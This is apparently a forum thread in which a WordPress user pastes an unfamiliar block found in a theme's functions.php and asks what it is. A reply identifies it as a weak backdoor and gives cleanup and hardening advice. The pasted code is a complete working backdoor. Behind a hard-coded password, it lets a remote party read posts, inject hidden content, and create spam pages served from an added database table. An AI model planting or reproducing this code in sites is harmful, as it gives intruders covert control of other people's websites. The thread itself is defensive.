Can anyone explain this script? I found this script when I get back to functions.php file to input some new codes. Some kind of strange scripts that I don't remember I input it. And I found out that there was also a copy in the server where I upload the development site preview. It looks like too late for me to noticed this. I have 2 projects having this type of code inside my function. Was this a hacking procedure slip through my WordPress system?
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '730fcc096903854c1aa4f815a7d02b2b'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "
";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';
if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;
case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;
default: print "ERROR_WP_ACTION WP_URL_CD";
}
die("");
}
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo( 'charset' );
print '" />';
print '<meta name="viewport" content="width=device-width">';
print '<link rel="profile" href="http://gmpg.org/xfn/11">';
print '<link rel="pingback" href="';
bloginfo( 'pingback_url' );
print '">';
wp_head();
print '</head>';
print '<body>';
print '<div id="content" class="site-content">';
print stripslashes($data -> content);
get_search_form();
get_sidebar();
get_footer();
}
exit;
}
If this is possible malicious scripting, anyone do have suggestions to clear or avoid this in the future?
It doesn't look like it should be there, but then again after reviewing the code it doesn't look like it does anything super malicious... Basically if someone enters your url with the parameters ?action=[ACTION]&password=730fcc096903854c1aa4f815a7d02b2b they will have access to your site to perform one of the actions listed in the switch() statement.
It appears to render a full page at the end (including sidebars), then with some modified content from a foreign database table called [YOUR_PREFIX]_datalist -- which is not a native WordPress database table.
Very strange if it was indeed part of the original theme development, but to me it looks like some sort of weak backdoor.
Remove the file and go through all of the theme files and make sure you don't see anything else that shouldn't be there. Probably a good idea to run some sort of check on your plugins as well. Make sure they are all up to date and there are no known reported vulnerabilities. Then download a fresh copy of WordPress and replace all of the files except the wp-content directory. Make sure to change your settings in the wp-config.php file.
After doing this, I would read up on some WP security tips. This article has tons of information on this: https://premium.wpmudev.org/blog/ultimate-wordpress-security-checklist/
I recommend installing a WP Security Plugin as well. I personally prefer All in One WP Security & Firewall, but WordFence is great as well.